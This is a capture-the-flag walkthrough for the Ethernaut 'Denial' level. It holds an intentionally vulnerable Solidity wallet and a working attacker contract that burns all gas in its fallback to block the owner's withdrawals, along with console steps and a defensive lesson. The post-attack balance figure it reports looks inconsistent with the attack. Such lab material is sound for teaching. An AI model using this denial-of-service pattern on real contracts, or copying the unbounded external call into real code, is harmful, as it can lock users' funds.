# Denial
_difficulty 5/10_

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.  


If you can deny the owner from withdrawing funds when they call `withdraw()` (whilst the contract still has funds) you will win this level.  

## Sources
```javascript
pragma solidity ^0.4.24;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
```

## Level author  
Adrian Manning  
age@agemanning.com  
https://github.com/AgeManning  

## Solution

1. Deploy a withdrawal contract that will receive funds. This contract should spend all the gas when receiving funds, so no further contract lines are executed. Using Remix, deploy the `DenialHack.sol`.

```javascript
pragma solidity ^0.4.24;

contract DenialHack {
    function() public payable {
        // assert will consume all gas
        assert(false);
    }
}
```

2. Check `Denial` contract balance.  
`await getBalance(instance)`  
"1"  

3. Set withdraw partner.
`let partner = 0x...` - set to your new contract address  
`await contract.setWithdrawPartner(partner)`  

3. Withdraw funds
`await contract.withdraw();`

4. Check `Denial` contract balance.  
`await getBalance(instance)`  
"0.99"  

5. Submit Instance ðŸŽ‰  

## Lesson
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.


If you are using a low level `call` to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example `call.gas(100000).value()`.


Typically one should follow the [checks-effects-interactions](http://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern) pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
